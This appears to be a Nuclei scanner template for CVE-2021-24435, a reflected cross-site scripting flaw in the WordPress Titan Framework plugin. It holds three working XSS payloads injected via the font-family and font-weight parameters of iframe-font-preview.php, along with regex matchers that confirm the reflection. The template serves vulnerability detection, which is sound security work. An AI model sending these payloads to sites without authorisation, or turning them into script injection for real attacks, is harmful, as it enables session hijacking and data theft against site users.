WordPress Titan Framework plugin <= 1.12.1 - Cross-Site Scripting

id: CVE-2021-24435

info:
  name: WordPress Titan Framework plugin <= 1.12.1 - Cross-Site Scripting
  author: xcapri,ritikchaddha
  severity: medium
  description: |
    The iframe-font-preview.php file of the titan-framework does not properly escape the font-weight and font-family GET parameters before outputting them back in an href attribute, leading to Reflected Cross-Site Scripting issues.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 2.7.12
  reference:
    - https://wpscan.com/vulnerability/a88ffc42-6611-406e-8660-3af24c9cc5e8
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24435
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24435
    - https://patchstack.com/database/vulnerability/titan-framework/wordpress-titan-framework-plugin-1-12-1-reflected-cross-site-scripting-xss-vulnerability
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24435
    cwe-id: CWE-79
    epss-score: 0.0014
    epss-percentile: 0.4866
    cpe: cpe:2.3:a:gambit:titan_framework:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: gambit
    product: titan_framework
    framework: wordpress
  tags: cve2021,cve,wp,xss,wp-plugin,titan-framework,wpscan,wordpress,gambit

http:
  - method: GET
    path:
      - "{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=%27/onerror=%27alert(document.domain)%27/b=%27"
      - "{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20onerror=alert(document.domain)%20b=%27"
      - "{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20accesskey=%27x%27%20onclick=%27alert(document.domain)%27%20class=%27"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: regex
        regex:
          - (?i)(onerror=|onclick=)['"]?alert\(document\.domain\)['"]?
          - '<p>Grumpy wizards make'
        condition: and

      - type: status
        status:
          - 200
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